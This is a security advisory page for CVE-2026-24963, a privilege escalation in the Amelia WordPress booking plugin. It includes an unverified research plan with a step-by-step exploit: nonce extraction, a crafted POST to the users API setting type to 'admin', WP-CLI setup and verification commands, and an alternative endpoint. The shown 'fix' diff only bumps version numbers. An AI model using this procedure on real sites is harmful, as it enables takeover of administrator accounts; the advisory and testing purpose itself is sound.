CVE-2026-24963

Booking for Appointments and Events Calendar – Amelia <= 1.2.38 - Authenticated (Employee+) Privilege Escalation

highIncorrect Privilege Assignment
8.8
CVSS Score
8.8
CVSS Score
high
Severity
2.0
Patched in
9d
Time to patch

Description

The Booking for Appointments and Events Calendar – Amelia plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.2.38. This makes it possible for authenticated attackers, with employee-level access and above, to elevate their privileges to that of an administrator.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.2.38
PublishedMarch 4, 2026
Last updatedMarch 12, 2026
Affected pluginameliabooking

What Changed in the Fix

Changes introduced in v2.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-24963 Amelia Privilege Escalation ## 1. Vulnerability Summary The **Booking for Appointments and Events Calendar – Amelia** plugin (<= 1.2.38) is vulnerable to an **Authenticated Privilege Escalation**. The vulnerability exists within the plugin's internal API (handled via…

Show full research plan

Research Plan: CVE-2026-24963 Amelia Privilege Escalation

1. Vulnerability Summary

The Booking for Appointments and Events Calendar – Amelia plugin (<= 1.2.38) is vulnerable to an Authenticated Privilege Escalation. The vulnerability exists within the plugin's internal API (handled via a Slim framework instance) because it fails to perform adequate authorization checks on the type parameter during user update or creation operations.

In Amelia, the type field defines the user's role (e.g., customer, provider, manager, admin). An authenticated user with "Employee" (provider) privileges can send a crafted request to the Amelia API to modify their own user record or create a new one, setting the type to admin. In many configurations, Amelia synchronizes these internal roles with WordPress roles, leading to full site administrator access.

2. Attack Vector Analysis

  • Endpoint: admin-ajax.php?action=wpamelia_api&call=/users/<id>
  • Method: POST
  • Action: wpamelia_api (defined by AMELIA_ACTION_SLUG in ameliabooking.php)
  • Vulnerable Parameter: type within the JSON request body.
  • Authentication: Required. The attacker must have at least an Amelia Employee (provider) role, which allows them access to the Amelia backend dashboard.
  • Preconditions: The Amelia plugin must be active. The attacker needs their own Amelia User ID.

3. Code Flow

  1. Entry Point: A request is sent to admin-ajax.php?action=wpamelia_api&call=/users/5.
  2. AJAX Handler: Plugin::wpAmeliaApiCall() in ameliabooking.php is triggered.
  3. Routing: It initializes the Slim App and calls Routes::routes($app, $container).
  4. Controller: The request is routed to the UserController (typically AmeliaBooking\Application\Controller\User\UpdateUserController or similar).
  5. Authorization Failure: The controller checks if the user is authenticated and has "Amelia" access, but it fails to verify if a provider (Employee) should be allowed to modify the type field to admin.
  6. Data Persistence: The service layer updates the wp_amelia_users table and, if role synchronization is enabled, calls WordPress's wp_update_user or set_role functions to elevate the WP user role.

4. Nonce Acquisition Strategy

Amelia requires an Amelia header (or sometimes a cookie/parameter) containing a valid nonce for its API calls. This nonce is typically localized in the WordPress backend for Amelia pages.

  1. Shortcode/Page: Amelia's backend uses the wp-admin environment. No specific frontend shortcode is needed, but the agent must be logged in as an Employee.
  2. Access Dashboard: Navigate to the Amelia "Employees" or "Appointments" page in the WP dashboard (/wp-admin/admin.php?page=wpamelia-employees).
  3. JS Variable Extraction: Amelia stores its configuration and nonces in a global JS object. Based on the plugin's structure, the target variable is usually wpAmeliaLabels or ameliaBookingData.
  4. Agent Command:
    // Use browser_eval to find the nonce
    browser_eval("window.wpAmeliaLabels.ameliaApiNonce || window.ameliaBookingData.nonce")
    
    Note: In 1.2.38, the key is frequently ameliaApiNonce inside the localized object.

5. Exploitation Strategy

Step 1: Identify Current User ID

The attacker needs their internal Amelia User ID. This can be found by inspecting the "Employees" list or the initialization data in the dashboard.

Step 2: Craft the Elevation Request

Send a POST request to the API to update the attacker's own user profile.

  • URL: http://<target>/wp-admin/admin-ajax.php?action=wpamelia_api&call=/users/<YOUR_AMELIA_USER_ID>
  • Headers:
    • Content-Type: application/json
    • Amelia: <NONCE_EXTRACTED_FROM_STEP_4>
  • Body (JSON):
{
  "firstName": "Attacker",
  "lastName": "User",
  "email": "attacker@example.com",
  "type": "admin",
  "status": "visible"
}

The key payload is "type": "admin".

Step 3: Trigger Role Sync (If necessary)

If the roles do not sync immediately, navigating to any Amelia settings page as the newly promoted "Amelia Admin" often triggers the UserRoles::updateRoles() logic which synchronizes the WordPress role to administrator.

6. Test Data Setup

  1. Create Employee User:
    wp user create attacker attacker@example.com --role=subscriber
    # Assign Amelia Employee role (this may require Amelia-specific CLI or manual DB insert if WP-CLI is unaware of Amelia roles)
    wp eval "AmeliaBooking\Infrastructure\WP\UserRoles\UserRoles::setAmeliaUserRole(get_user_by('email', 'attacker@example.com'), 'provider');"
    
  2. Ensure Plugin is Configured: Ensure the plugin is active and initialized.

7. Expected Results

  • The API response should return the updated user object with "type": "admin".
  • The user's internal Amelia role changes from provider to admin.
  • The WordPress user attacker is elevated to the administrator role.

8. Verification Steps

  1. Check WP Role:
    wp user get attacker --field=roles
    
    Success is indicated by administrator.
  2. Check Amelia DB:
    wp db query "SELECT type FROM wp_amelia_users WHERE email='attacker@example.com'"
    
    Success is indicated by the value admin.

9. Alternative Approaches

If the direct /users/<id> endpoint is hardened, check the /users endpoint (POST) for creating a new user.

  • Alternative Endpoint: POST admin-ajax.php?action=wpamelia_api&call=/users
  • Payload: Create a new user with an email the attacker controls and set type: "admin".
  • Note: In Amelia, the Slim routes are registered in src/Infrastructure/Routes/Routes.php. If source access were complete, one would check all routes using the UserController.
  • Fallback Nonce Location: If not in wpAmeliaLabels, check for the amelia_nonce cookie which is sometimes used as a fallback or in older versions.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Amelia plugin for WordPress (<= 1.2.38) is vulnerable to privilege escalation via its internal REST API. Authenticated users with Employee (provider) level access can update their own user record—or create a new one—with the 'type' parameter set to 'admin', which elevates their internal plugin permissions and synchronizes their WordPress account to the administrator role.

Vulnerable Code

// ameliabooking.php line 85
if (!defined('AMELIA_ACTION_SLUG')) {
    define('AMELIA_ACTION_SLUG', 'action=wpamelia_api&call=');
}

// ameliabooking.php line 159
public static function wpAmeliaApiCall()
{
    try {
        /** @var Container $container */
        $container = require AMELIA_PATH . '/src/Infrastructure/ContainerConfig/container.php';

        $app = new App($container);

        // Initialize all API routes
        Routes::routes($app, $container);

        $app->run();

        exit();
    } catch (Exception $e) {
        echo 'ERROR: ' . esc_html($e->getMessage());
    }
}

---

// ameliabooking.php line 629
add_action( 'profile_update',  array('AmeliaBooking\Infrastructure\WP\UserService\UserService', 'updateAmeliaUser'), 10, 3);

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/ameliabooking/1.2.38/ameliabooking.php /home/deploy/wp-safety.org/data/plugin-versions/ameliabooking/2.0/ameliabooking.php
--- /home/deploy/wp-safety.org/data/plugin-versions/ameliabooking/1.2.38/ameliabooking.php	2025-12-08 08:31:16.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/ameliabooking/2.0/ameliabooking.php	2025-12-30 13:50:36.000000000 +0000
@@ -3,7 +3,7 @@
 Plugin Name: Amelia
 Plugin URI: https://wpamelia.com/
 Description: Amelia is a simple yet powerful automated booking specialist, working 24/7 to make sure your customers can make appointments and events even while you sleep!
-Version: 1.2.38
+Version: 2.0
 Author: Melograno Ventures
 Author URI: https://melograno.io/
 Text Domain: ameliabooking
@@ -104,7 +103,7 @@
 
 // Const for Amelia version
 if (!defined('AMELIA_VERSION')) {
-    define('AMELIA_VERSION', '1.2.38');
+    define('AMELIA_VERSION', '2.0');
 }

Exploit Outline

1. Log in to the WordPress admin dashboard with an account assigned the Amelia Employee (provider) role. 2. Locate the Amelia API nonce (typically ameliaApiNonce) within the localized JavaScript objects (wpAmeliaLabels or ameliaBookingData) on any Amelia-related admin page. 3. Determine the attacker's internal Amelia User ID, which can be found in the dashboard's initialization data. 4. Send a POST request to /wp-admin/admin-ajax.php?action=wpamelia_api&call=/users/<YOUR_ID> using the retrieved ID. 5. Include the header 'Amelia: <NONCE>' and a JSON body containing the payload {"type": "admin"}. 6. The plugin's failure to restrict the 'type' parameter during updates allows the user role to change to administrator internally, which then triggers the WordPress role synchronization.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.